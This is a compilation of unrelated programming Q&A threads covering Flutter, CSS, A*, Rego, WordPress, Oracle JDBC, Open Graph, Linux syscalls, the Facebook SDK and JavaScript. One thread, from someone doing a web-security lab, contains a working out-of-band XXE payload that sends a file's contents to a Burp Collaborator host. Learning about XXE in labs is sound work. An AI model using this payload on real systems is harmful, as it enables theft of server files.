Q: is there have a concurrent List in flutter When I add some elements in HashMap in flutter like this:
void loadingMoreChannel(RefreshController _refreshController) async {
    articleRequest.pageNum = articleRequest.pageNum + 1;
    List<Channel> channels = await Repo.getChannels(articleRequest);
    channels.addAll(channels);
    _refreshController.loadComplete();
  }

first step fetched some channel information from the server side, then add the channel info into List, shows error:
Concurrent modification during iteration: Instance(length:15) of '_GrowableList'.<…>

what should I do to add the channel elements into list concurrent?

A: Seems you need to rename the variable. You can just do
void loadingMoreChannel(RefreshController _refreshController) async {
    articleRequest.pageNum = articleRequest.pageNum + 1;
    List<Channel> result = await Repo.getChannels(articleRequest);
    channels.addAll(result); //it was having same name
    _refreshController.loadComplete();
  }


text:
Q: Skewing text in a paragraph I want to "wrap" the text like you wrap text around an image but is it possible to do this without an image?
The text on the right is the result I want.

A: You can use CSS3 transforms.
jsFiddle example
div {
    position:relative;
    width:300px;
    left: 40px;
    transform: skew(-20deg);
   -ms-transform: skew(-20deg); /* IE 9 */
   -moz-transform: skew(-20deg); /* Firefox */
   -webkit-transform: skew(-20deg); /* Safari and Chrome */
   -o-transform: skew(-20deg); /* Opera */
}

A: It is possible but it can't be done with nice markup.
Have a look at http://www.torylawson.com/index.php?title=CSS_-_Wrapping_text_around_non-rectangular_shapes
http://www.csstextwrap.com/ - is an online tool that may help if you want a 'copy and paste' approach.
http://www.jwf.us/projects/jQSlickWrap - is a jquery plugin for non-ie browsers if IE support is not a requirement.

A: In modern browsers, you can use transforms but this skews the content (letters) as well.
Example:
http://jsfiddle.net/willemvb/LftMA/

A: I manage to write my own little script. The idea came from jQSlickWrap with an element for each row.
Here it is: http://jsfiddle.net/m4jLt/1/
It's not perfect yet but with some tweaking I think it will work just fine.
There is three versions in that fiddle. (just so you know)
If you make it better, please do share :)


text:
Q: A* Pathfinding Data Structure I'm currently trying to follow the current A* pseudocode (from Wikipedia) to write my A* algorithm:
function A*(start,goal)
    closedset := the empty set    // The set of nodes already evaluated.
    openset := {start}    // The set of tentative nodes to be evaluated, initially containing the start node
    came_from := the empty map    // The map of navigated nodes.

    g_score[start] := 0    // Cost from start along best known path.
    // Estimated total cost from start to goal through y.
    f_score[start] := g_score[start] + heuristic_cost_estimate(start, goal)

    while openset is not empty
        current := the node in openset having the lowest f_score[] value
        if current = goal
            return reconstruct_path(came_from, goal)

        remove current from openset
        add current to closedset
        for each neighbor in neighbor_nodes(current)
            if neighbor in closedset
                continue
            tentative_g_score := g_score[current] + dist_between(current,neighbor)

            if neighbor not in openset or tentative_g_score < g_score[neighbor]
                came_from[neighbor] := current
                g_score[neighbor] := tentative_g_score
                f_score[neighbor] := g_score[neighbor] + heuristic_cost_estimate(neighbor, goal)
                if neighbor not in openset
                    add neighbor to openset

    return failure

function reconstruct_path(came_from,current)
    total_path := [current]
    while current in came_from:
        current := came_from[current]
        total_path.append(current)
    return total_path

I'm using a PriorityQueue for the openset and closedset each, however I'm unsure what to use for the "came_from" map of navigated nodes. Does it matter? Should I use a Priority Queue as well? Or will a simple List do?
Thanks!

A: I ended up using the C# Dictionary Data Structure in the end, and it's worked well, if anyone is interested.


text:
Q: Rego - assign array to existing array I'm getting a weird behavior in Rego and I wonder why does it happen.
Link to Rego Playground
When I create an empty array, and than assign to it new array, the count of the first array is still zero:
package play

x[{"msg": msg}]{
    c := []
    a := [1,2]
    b := [3,4]
    c = array.concat(a,b)
    count(c) > 0
    msg := "Length of c is greater than zero"
}

And the output is:
    {
    "x": []
}

So, I have 2 questions:

*

*Why do I get false in the line count(c)> 0?

*How can I assign array to existing one? ( I need it because I have function that returns array and I'm trying to return the concatenation of 2 arrays. e.g.:
func[{"msg": msg}] = c{
a := [1,2]
b := [3,4]
c = array.concat(a,b)
}
Thanks!

A: Rego values and variables are immutable, so there's no way to assign a new value to an already existing variable. Your example compiles due to using the unification operator (=) rather than the assignment operator (:=).
In the example you provided, simply remove the first assignment:
package play

x[{"msg": msg}]{
    a := [1,2]
    b := [3,4]
    c := array.concat(a,b)
    count(c) > 0
    msg := "Length of c is greater than zero"
}


text:
Q: XML parameter Entity im learning about web security (current: XXE)
To solve the lab, i use Out-of-band tech.
Here is my enternal DTD:
<!ENTITY % ss "<!ENTITY % test SYSTEM 'http://xxx.burpcollaborator.net/?x=%file;'>">
%ss;
%test;

And my main exploit:
<!DOCTYPE foo [<!ENTITY % run SYSTEM "<URL-to-my-external-DTD"> %run;]>

Its work, but when i change the position of "%file;", it wont. Example:
<!ENTITY % ss "<!ENTITY % test SYSTEM 'http://%file;.xxx.burpcollaborator.net'>">

Why

A: The replacement text of a parameter entity must consist of whole tokens, not fragments of a token.
(I wouldn't have been able to work this out for myself from reading the spec, but Bob DuCharme's "XML The Annotated Specification" is brilliant at explaining what the rather terse rules in the spec actually mean).


text:
Q: Advanced Custom Fields conflicting with custom plugin when saving custom field I'm writing a plugin for the practice and running into an issue where another plugin, Advanced Custom Fields is conflicting with my code. I have created a custom post type with it's own custom field. My save method works and the custom field data is saved if I disable ACF, however I am getting a validation error that I think comes from the acf plugin when trying to save/publish with the plugin active. See pic for the error message.
So I guess my question is, do I need to check if that plugin is active and use it's functions to handle this and if not do it the normal way, or am I doing something else wrong? Does every plugin that saves custom field data  have to check if this plugin is active and handle it accordingly? That just doesn't seem right to me but this is my first time writing a plugin.

Here is my save method:
public function save_metabox_details() {
        global $post;
        if(current_user_can('editor') || current_user_can('administrator') && isset($_POST['ipmyskills_nonce'])) {
            $nonce = $_POST['ipmyskills_nonce'];
            if( $nonce && !check_admin_referer( basename(__FILE__), 'ipmyskills_nonce' )) {
                die('Validation error');
            }
            if (isset($_POST['ipmyskills_input'])) {
                $sanitized_value = esc_html( sanitize_text_field( $_POST['ipmyskills_input'] ) );
                update_post_meta($post->ID, 'ipmyskills_input', $sanitized_value);
            }
        }

    }

A: So apparently I'm a bonehead. I was originally building this with Advanced Custom Fields plugin and doing it in the theme but decided to try and build my first plugin instead. I had created a custom field group and assigned it to the post type with ACF, so that's what was triggering the validation error. Once I deleted the field group everything works as expected.


text:
Q: Exception in thread "main" java.lang.NoClassDefFoundError: oracle/jdbc/OracleShardingKeyBuilder I'm trying to get DB connection from DB pool. Following is my source code and it returns " java.lang.NoClassDefFoundError: oracle/jdbc/OracleShardingKeyBuilder" at runtime. But I have imported ucp.jar file.
Please help me to sort out the issue.
private static PoolDataSource pds = null;
private static Connection conn = null;

public static synchronized Connection getConnectionFromPool() throws Exception {
    String print;
    String nl = "\r\n";
    try {
        pds = PoolDataSourceFactory.getPoolDataSource();
        System.out.println(CommonInfo.url);
        System.out.println(CommonInfo.uName);
        pds.setURL(CommonInfo.url);
        pds.setUser(CommonInfo.uName);
        pds.setPassword(CommonInfo.uPassword);
        pds.setConnectionFactoryClassName("oracle.jdbc.pool.OracleDataSource");

        //Setting pool properties
        pds.setInitialPoolSize(5);
        pds.setMinPoolSize(5);
        pds.setMaxPoolSize(20);

        int usedConnctionCount = pds.getBorrowedConnectionsCount();
        int AvailableConnctionCount = pds.getAvailableConnectionsCount();

        int totalCount = usedConnctionCount + AvailableConnctionCount;

        if (AvailableConnctionCount != 0) {

            conn = pds.getConnection();
            conn.setAutoCommit(true);

            usedConnctionCount = pds.getBorrowedConnectionsCount();
            AvailableConnctionCount = pds.getAvailableConnectionsCount();

            totalCount = usedConnctionCount + AvailableConnctionCount;

            return conn;
        } else {
            print = "All connections in the database pool are now busy...";
            System.out.println(print);
            throw new Exception("All connections in the database pool are now busy.");
        }
    } catch (Exception e) {
        e.printStackTrace();
        throw e;
    }
}

Exception:
Exception in thread "main" java.lang.NoClassDefFoundError: oracle/jdbc/OracleShardingKeyBuilder
at oracle.ucp.jdbc.PoolDataSourceFactory.getPoolDataSource(PoolDataSourceFactory.java:48)

A: You are missing the driver jar file. You need to download the right version of jar and place it in the classpath . Here is from oracle docs on the support:
Prior to 12c (i.e., 12.1.0.1.0), UCP could work with any version of Oracle JDBC driver. With the new pool, UCP 12.1.0.2, it is dependent on Oracle JDBC driver 12.1.0.2. Example: 12.2.0.1 ucp.jar requires ojdbc8.jar from 12.2.0.1.  Oracle recommendation is to keep both ucp.jar and JDBC drivers from the same version.


text:
Q: Open Graph og:image preview thumbnail shows up fine on iMessage, but not on WhatsApp Scowered around for help with this and can't figure out why this isn't working.
I have my Open Graph image set with the following two lines of code (which should be all that is needed):
<meta property="og:image" content="https://myurl.com/logo.png" />
<meta property="og:image:width" content="300">

The full preview (not just the smaller icon) shows up just fine on iMessage but no image at all shows up on WhatsApp. People have said that the image should be no bigger than 300px (hence the second tag setting that), and the image file itself is only 9kb.
Would super appreciate any direction or additional things I should be trying as WhatsApp guidelines are not very clear.
Thank you!
Edit with updated tags (still not working):
<meta property="og:site_name" content="SiteName">
<meta property="og:url" content="myurl.com" />
<meta name="twitter:card" content="summary" />
<meta property="og:image" content="myurl.com/logo.png" />
<meta property="og:image:type" content="image/png">
<meta property="og:image:width" content="400">
<meta property="og:image:height" content="400">


text:
Q: If I made custom sys call and queue in my kernel, is it thread safe? In Linux-4.4 kernel, Let's suppose there is my own system call and queue.
I write linux-4.4/kernel/my_queue.c file which contains definition of int array as global variable and push, pop function as interface of queue.
And then, Is it thread-safe?
Sorry for my bad english.. :)

A: Linux kernel doesn't serialize system calls automatically. It is possible for one system call to be called in parallel with itself (but from a different thread).
If a system call implementation accesses to a global variable, you need to synchronize this access for make things work properly.


text:
Q: Facebook apk only returns basic_info when other permissions are set I am trying to get the 'email' data from the Facebook apk, but have only succeeded in in getting the 'basic_info' back after setting any number of permissions. Here is my code:
private void update_buttons(){

  LoginButton authButton = (LoginButton) findViewById(R.id.sign_in_button_facebook);

  authButton.setOnClickListener(new View.OnClickListener() {
      public void onClick(View v) {
          Session currentSession = Session.getActiveSession();
            if (currentSession == null || currentSession.getState().isClosed()) {
                Session session = new Session.Builder(self).build();
                Session.setActiveSession(session);
                currentSession = session;
            }

            if (currentSession.isOpened()) {
                Log.i("LoginHome","Closing Session...");
                currentSession.closeAndClearTokenInformation();
            }
            Log.i("LoginHome","Starting New Session...");
            OpenRequest op = new Session.OpenRequest((Activity) self);

            op.setLoginBehavior(SessionLoginBehavior.SUPPRESS_SSO);
            op.setCallback(null);

            List<String> permissions = new ArrayList<String>();
            permissions.add("basic_info");
            permissions.add("user_status");
            permissions.add("email");
            permissions.add("user_birthday");
            op.setPermissions(permissions);

            Session session = new Builder(ActivityLoginHome.this).build();
            Session.setActiveSession(session);
            session.openForRead(op);
      }
  });
}

@Override
protected void onActivityResult(int requestCode, int responseCode, Intent intent) {
    super.onActivityResult(requestCode, responseCode, intent);
    if (Session.getActiveSession() != null)
        Session.getActiveSession().onActivityResult(this, requestCode,
                responseCode, intent);

    Session currentSession = Session.getActiveSession();
    if (currentSession == null || currentSession.getState().isClosed()) {
        Session session = new Session.Builder(self).build();
        Session.setActiveSession(session);
        currentSession = session;
    }

    if (currentSession.isOpened()) {
        Session.openActiveSession(this, true, new Session.StatusCallback() {

            @Override
            public void call(final Session session, SessionState state,
                    Exception exception) {

                if(session != null){
                  Log.i("LoginHome","Session: " + session.toString());
                  Log.i("LoginHome","Session Closed: " + String.valueOf(session.isClosed()));
              }else{
                  Log.i("LoginHome","No Session");
              }
              if(state != null){
                  Log.i("LoginHome","State: " + state.toString());
              }else{
                  Log.i("LoginHome","No State");
              }
              if(exception != null){
                  Log.i("LoginHome","Exception: " + exception.getMessage());
              }else{
                  Log.i("LoginHome","No Exceptions");
              }

                if (session.isOpened()) {

                    Log.i("LoginHome","Session Opened...");

                    Request.executeMeRequestAsync(session,
                            new Request.GraphUserCallback() {

                                @Override
                                public void onCompleted(GraphUser user,Response response) {
                                    if (user != null) {

                                        Log.i("LoginHome","Returned Data...");
                                        for(Map.Entry<String, Object> map : user.asMap().entrySet()){
                                            Log.i("LoginHome","Key: " + map.getKey());
                                            Log.i("LoginHome"," Value: " + String.valueOf(map.getValue()));
                                        }
                                        get_server_id(user.getProperty("email").toString(), user.getId(), "Facebook");

                                    }
                                }
                            });
                }
            }
        });
    }

}

Has anybody else had this problem? Is there something I'm not setting correctly that makes the setPermissions call default to only the 'basic_info' value?

A: Alright. I figured this out after looking through the Facebook docs for the last day and a half. Hopefully this helps out somebody else as well. The code above works 100%, what wasn't working for me was the Facebook permissions that I needed to enable from the Facebook dashboard by taking my app out of sandbox mode. Just follow these steps if you are having the same problems with not being able to receive Facebook data.
1) Go to the Facebook dashboard
2) Click on the Apps tab on the top and select your app
3) Click Status & Review on the left hand side of the screen
4) Click the button next to "Do you want to make this app and all its live features available to the general public?" to make the app live and turn off sandbox mode.
You should be able to get the email data now from the Facebook api. The documentation for this apk is up there with the top worst written documentations I have ever seen. It's so simple. I feel like an idiot.


text:
Q: Dynamically retrieving JavaScript property value I am trying to dynamically change the options available to a user. A user will choose either 1 or 2. Once they choose a value, I need to load the options associated with that value. Currently, i have the following:
var json = {'1':[{ 'value':'A', 'text':'Option - A'}, { 'value':'B', 'text':'Option - B'}], '2':[{ 'value':'A', 'text':'Choice - A'}, { 'value':'B', 'text':'Choice - B'}]};

var userWants = '1';
alert(json[userWants]);

Oddly, the alert window just displays ,. I don't understand why. What am I doing wrong?

A: Alerts cannot display JSON objects in their natural form. Try logging instead

var json = {'1':[{ 'value':'A', 'text':'Option - A'}, { 'value':'B', 'text':'Option - B'}], '2':[{ 'value':'A', 'text':'Choice - A'}, { 'value':'B', 'text':'Choice - B'}]};

var userWants = '1';
console.log(json[userWants]);

Also, see how to alert javascript object

A: Alert converts the object to a string using .toString(), which doesn't give you nice output:
var a = {'value': 'A', 'text': 'Option - A'};
alert(a); // should alert [object Object]

You can use JSON.stringify to display the object nicely:
alert(JSON.stringify(a)); // should alert {"value":"A","text":"Option - A"}

Or:

var json = {'1':[{ 'value':'A', 'text':'Option - A'}, { 'value':'B', 'text':'Option - B'}], '2':[{ 'value':'A', 'text':'Choice - A'}, { 'value':'B', 'text':'Choice - B'}]};
var userWants = '1';
alert(JSON.stringify(json[userWants])); // should alert a nicely-formatted list

A: Use console.log(json[userWants]); instead of alert.
You can view the output in console by opening it in Chrome by using the shortcut Ctrl + Shift + J or by using Firebug for Firefox in Firefox.